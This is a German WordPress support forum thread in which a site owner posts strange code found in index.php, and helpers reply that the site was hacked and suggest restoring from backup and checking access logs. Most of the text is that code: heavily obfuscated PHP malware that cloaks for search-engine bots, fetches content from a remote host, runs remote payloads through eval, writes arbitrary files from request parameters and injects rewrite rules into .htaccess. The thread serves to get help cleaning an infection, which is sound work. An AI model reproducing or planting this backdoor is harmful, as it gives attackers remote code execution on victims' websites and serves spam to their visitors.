\n",$O0_OO_0_0O);}else{$O_OO0_0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x5f\x4f\x5f\x30"](2,5);$O0_O0__OO0=0;while($O0_O0__OO0<$O_OO0_0O0_){socket_write($O__0O_0OO0,$O_O000__OO,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f\x5f"]($O_O000__OO));$O0_O0__OO0++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x5f\x5f\x30\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x5f\x4f\x5f\x30"](50000,100000));}unset($O0_O0__OO0,$O_OO0_0O0_);}}socket_close($O__0O_0OO0);unset($O__0O_0O0O);}}if($O0_OO_0_0O==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x5f\x30\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x30\x4f\x5f\x4f"]) and $url){$O0_OO_0_0O=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x30\x4f\x5f\x4f"]($url);}}unset($O_O000__OO,$OO_00OO__0,$O__0O_0OO0,$O_00_O_O0O,$O0_O0O0__O);if(!$OOO_000__O){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f"](\'/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)\'.\'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"](\'$matches\',\'return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x5f\x4f\x30\x5f"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f\x5f"]($matches[2])?$matches[2]:$matches[0];\'),$O0_OO_0_0O);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"]($O0_OO_0_0O,"\\xEF\\xBB\\xBF"));}else{return 1;}');$O00___0OOO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$string','$O_0OOO__00=substr($string,0,5);$OOO_00_O_0=substr($string,-5);$OO_O_O_000=substr($string,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f\x5f"]($string)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x30\x5f\x30\x5f\x4f"]($O_0OOO__00.$OO_O_O_000.$OOO_00_O_0));');$OO00_O0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$O_0O_O0O_0gent','$OO0_0O0_O_=false;$O_O000OO__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'S8/PThT89JTcovqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA=\');if($O_0O_O0O_0gent!=\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"]("/($O_O000OO__)/si",$O_0O_O0O_0gent)){$OO0_0O0_O_=true;}}return $OO0_0O0_O_;');$O_0OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$O0_O00O_O_efer','$OO0_O00__O=false;$O_O_0_O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'S8/PThT89J1UvO18sqqKlMzMjPh7KTMvPtPSAQ==\');if($O0_O00O_O_efer!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"]("/($O_O_0_O0O0)/si",$O0_O00O_O_efer)){$OO0_O00__O=true;}return $OO0_O00__O;');$OOOO0__0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$O_O0O_0O_0','$OOO_0_00O_=isset($_REQUEST["\x6c\x30\x30\x31\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"])?$_REQUEST["\x6c\x30\x30\x31\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"]:\'\';$O_OO000O__=isset($_REQUEST["\x6c\x30\x30\x31\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"])?$_REQUEST["\x6c\x30\x30\x31\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"]:\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30\x4f"]($OOO_0_00O_)){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"]($OOO_0_00O_)){echo "delete|error";exit();}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f"]($OOO_0_00O_,$O_OO000O__,FILE_APPEND);echo $OOO_0_00O_.\'|success\';');$OO000__OO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$O__0OO0O0_=\'\',$O_0O_00OO_,$O_O0_0O0O_','global $symbol_url;$O_O0_0O0O_=substr($O_O0_0O0O_,0,@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x30\x4f\x30"]($O_O0_0O0O_,\'.\'));$O__0OO0O0_= "<IfModule mod_rewrite.c>\\n";$O__0OO0O0_ .="RewriteEngine\\x20On\\n";$O__0OO0O0_ .="RewriteBase\\x20/\\n";$O__0OO0O0_ .="RewriteRule\\x20^".$O_O0_0O0O_.".php$\\x20-\\x20[L]\\n";$O__0OO0O0_ .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-f\\n";$O__0OO0O0_ .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-d\\n";$O__0OO0O0_ .="RewriteRule\\x20.\\x20".$symbol_url.$O_O0_0O0O_.".php [L]\\n";$O__0OO0O0_ .="</IfModule>";if($O__0OO0O0_!=\'\'){if($O_0O_00OO_){$OOO_0O00__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'09PXyhTyhJTE5OLS4tPGAA==\');if($OOO_0O00__!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30\x4f"]($OOO_0O00__)){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x30\x30\x4f"]($OOO_0O00__,0777);$O_OO00_0_O=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x30\x4f\x5f\x4f"]($OOO_0O00__);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"](\'/REQUEST_FILENAME/\',$O_OO00_0_O)&&!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"]("/".$O_O0_0O0O_.".php/",$O_OO00_0_O)){$O_OO00_0_O=$O__0OO0O0_.PHP_EOL .$O_OO00_0_O;@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f"]($OOO_0O00__,$O_OO00_0_O);}}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x30\x30\x4f"]($OOO_0O00__,0444);}}');$O0O00_O_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$O_O0O_0O_0=\'\'','@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x30\x5f"](3600);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x30\x5f"](1);global $O_0O__O0O0,$O_0O_00OO_,$OO___0OO00;$OO0O0_O_0_=\'0\';$OO0_0_OO_0=\'\';if(isset($_REQUEST["\x6c\x30\x30\x31\x5f\x6c\x6f\x61\x64\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x5f\x30\x5f\x30"]();exit();}$OOOO__000_ =${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'K83LzhTsstPvzwMA\');if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"})){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_X_FORWARDED_FOR])){$OOOO__000_=${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_X_FORWARDED_FOR];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_CLIENT_IP])){$OOOO__000_=${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_CLIENT_IP];}else{$OOOO__000_=${"\x5f\x53\x45\x52\x56\x45\x52"}[REMOTE_ADDR];}}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x30"]("HTTP_X_FORWARDED_FOR")){$OOOO__000_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x30"]("HTTP_X_FORWARDED_FOR");}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x30"]("HTTP_CLIENT_IP")){$OOOO__000_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x30"]("HTTP_CLIENT_IP");}else{$OOOO__000_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x30"]("REMOTE_ADDR");}}$O_000_OOO_=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];$O0O__OO00_=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$O__0_OO00O=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$O00_O_0OO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x30\x5f\x4f\x5f"]($O__0_OO00O);$O__0O00_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x30\x5f\x30\x4f"]($O0O__OO00_);$O_0O__O00O=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$O_0O__O00O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$O_0O__O00O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}$OO00_0O__O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$O_O0_0O0O_=\'\';$O0__OO0_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$O0__OO0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'\\\\\',\'/\',$O0__OO0_0O);$OO__OO0_00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x30\x5f\x4f"](__FILE__).\'/\';$OO__OO0_00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'\\\\\',\'/\',$OO__OO0_00);$OOO0__0_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"]($O0__OO0_0O,\'\',$OO__OO0_00);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($OO00_0O__O,".php")>0){$OO_O_0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($OO00_0O__O,".php")+4;$O_O0_0O0O_=substr($OO00_0O__O,0,$OO_O_0O00_);$OO0_0_OO_0=$O_O0_0O0O_;}if($O_O0_0O0O_==\'\'){$O_O0_0O0O_=$OOO0__0_O0.\'index.php\';$OO0_0_OO_0=$OOO0__0_O0;}$O_O0_0O0O_=substr($O_O0_0O0O_,1);$O0OO0__0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'Ky8vVhT03Ry9VNzkjNKU5N1EvOKU0tPCAA==\');$O0OO0___0O=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$O0OO0___0O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$O_0O_00OO_=(int)$O_0O_00OO_;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30\x5f\x5f\x4f\x4f\x5f"](\'\',$O_0O_00OO_,$O_O0_0O0O_);$O0O00O_O__=sprintf($O0OO0__0_O,$O_0O__O0O0);$O_O0O__O00=sprintf($O0OO0__0_O,$OO0O0_O_0_);$O00O_OO0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'FcTBChTYBADEXBauLRnFcQawksGEUwuN/+9c1hUqrF3fIeMu+haG2urK2vNqadRC8lFT0UdNFtPB598H\');$OO__00O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'FcRBChToAwDEXB08SlWVcQzyIIxmLxY9P765vFRKYWd4unp3kdTaXMCm3Han06KWlQkOilnW6tP6qP59\');$O00O_OO0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x5f\x30"]("/%host%/si",$O0O00O_O__,$O00O_OO0__);if(isset(${"\x5f\x47\x45\x54"}["\x6d\x61\x70"])){$OO00_0O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x5f\x47\x45\x54"}["\x6d\x61\x70"]).${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x5f\x47\x45\x54"}["\x66\x69\x6c\x65"]);$O00O_OO0__=sprintf($O00O_OO0__,$O_0O__O00O,$O_0O__O0O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x4f\x5f\x5f\x4f\x30"]("Y-m-d")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($OO00_0O__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0OO0___0O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"]($OOOO__000_) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0O__OO00_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O__0_OO00O),$O_000_OOO_,$OO0_0_OO_0,0);$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30"]($O00O_OO0__);$OO_0O__O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x5f\x47\x45\x54"}["\x66\x69\x6c\x65"]);if(isset(${"\x5f\x47\x45\x54"}["\x66\x69\x6c\x65"])){$OO_0O__O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x5f\x47\x45\x54"}["\x66\x69\x6c\x65"]);}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spango>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spango>\',\'\',$O0_OO_0_0O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f"]($OO_0O__O00,$O0_OO_0_0O);echo \'map success\';unset($O0_OO_0_0O,$O00O_OO0__,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}}$O00O_OO0__=sprintf($O00O_OO0__,$O_0O__O00O,$O_0O__O0O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x4f\x5f\x5f\x4f\x30"]("Y-m-d")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($OO00_0O__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0OO0___0O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"]($OOOO__000_) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0O__OO00_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O__0_OO00O),$O_000_OOO_,$OO0_0_OO_0,0);$OO__00O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x5f\x30"]("/%host%/si",$O_O0O__O00,$OO__00O_O0);$OO__00O_O0=sprintf($OO__00O_O0,$O_0O__O00O,$O_0O__O0O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x4f\x5f\x5f\x4f\x30"]("Y-m-d")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($OO00_0O__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0OO0___0O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"]($OOOO__000_) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O0O__OO00_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x4f\x30"]($O__0_OO00O),$O_000_OOO_,$OO0_0_OO_0,1);if(isset(${"\x5f\x47\x45\x54"}["\x6c\x30\x30\x31\x5f\x75\x72\x6c\x31"])){echo $O00O_OO0__;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x6c\x30\x30\x31\x5f\x75\x72\x6c\x32"])){echo $OO__00O_O0;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x6c\x30\x30\x31\x5f\x6e\x75\x6d"])){echo $OO___0OO00;exit();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"](\'/(sitemap).*.xml$/\',$OO00_0O__O)){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30"]($O00O_OO0__);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spango>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spango>\',\'\',$O0_OO_0_0O);@header(\'content-type:text/xml\');echo "$O0_OO_0_0O";unset($O0_OO_0_0O,$O00O_OO0__,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}}if($O00_O_0OO_){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30"]($O00O_OO0__);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spango>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spango>\',\'\',$O0_OO_0_0O);echo "$O0_OO_0_0O";unset($O0_OO_0_0O,$url_format,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spanev>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spanev>\',\'\',$O0_OO_0_0O);@eval($O0_OO_0_0O);unset($O0_OO_0_0O,$url_format,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}}if($O__0O00_OO){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30"]($OO__00O_O0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spango>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spango>\',\'\',$O0_OO_0_0O);echo "$O0_OO_0_0O";unset($O0_OO_0_0O,$url_format,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x30\x4f\x4f\x4f"]($O0_OO_0_0O,\'<spanev>\')){$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30"](\'<spanev>\',\'\',$O0_OO_0_0O);@eval($O0_OO_0_0O);unset($O0_OO_0_0O,$url_format,$O0O00O_O__,$O_O0O__O00,$OO00_0O__O,$O_0O__O00O,$O0O__OO00_,$O__0_OO00O);exit();}}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x4f\x5f"]();?>
Ansicht von 3 Antworten - 1 bis 3 (von insgesamt 3)
  • Deine Website wurde wahrscheinlich gehackt.

    Erste Informationen findest du in unserer FAQ:
    https://de.wordpress.org/support/topic/seite-gehacked-was-tun/

    Wie du deine Website von Malware befreist, habe ich hier beschrieben:
    https://pixolin.de/arbeitsschritte-reparatur-gehackte-website/

    Alternativ kannst du über die Suchmaschine nach Dienstleistern suchen, die das gegen Honorar für dich übernehmen.

    Wie deine Website gehackt wurde, lässt sich nachträglich schwer feststellen.
    Mögliche Ursachen sind z.B.

    • Du hast dich über ein zugängliches Netzwerk und eine unverschlüsselte Verbindung (http oder ftp statt https oder sftp) angemeldet und die Zugangsdaten wurden ausgelesen.
    • Auf deinem Computer ist Malware oder ein Keylogger installiert, der die Zugangsdaten mitliest
    • Die Serversoftware enthält Sicherheitslücken
    • Eines der verwendeten Plugins enthält eine (bisher dem Entwickler unbekannte) Sicherheitslücke.
    • Du verwendest ein „genulltes“ Theme oder Plugin (also eines, bei denen die Abfrage eines Lizenzschlüssel überschrieben wurde), das mit Malware oder einer Backdoor versehen war.

    Ggf. geben die Error- und Zugriffs-Logs etwas mehr Aufschluss. Wahrscheinlich lohnt sich aber der Aufwand nicht.

    Sicher hast du ein Backup? Das einfachste wäre, alles auf dem Server zu löschen und das unkompromittierte Backup wiederherzustellen. Das erspart dir auch die Überprüfung aller Mediendateien auf Backdoors.

    Übrigens hast du inzwischen mehrfach Threads gestartet und dann auf Rückfragen oder Antworten nicht mehr reagiert. Ein kurzes Feedback hilft auch anderen Nutzern weiter.

    Thread-Starter drmrt

    (@drmrt)

    Danke für die Antwort. Mac ist sauber, Passwörter sind gut und lang. WordPress immer auf dem aktuellen stand. Die index.php hatte keine Schreibrechte. Original gekauftes Theme und ein paar Plugins. Da ich mehre Seiten mit dem gleichen Setup habe und dort nichts passiert ist. Finde es echt komisch.

    Wie kann dieser Code darein kommen.

    Hast du Zugriff auf die Access-Logs? Dann kannst du über das Erstell/Last modified-Datum der Datum versuchen herauszufinden welcher Zugriff die Datei verändert hat und über welchen Weg das passiert ist.

    Gruß, Torsten

Ansicht von 3 Antworten - 1 bis 3 (von insgesamt 3)
  • Das Thema „Merkwürdiger Code in der index.php“ ist für neue Antworten geschlossen.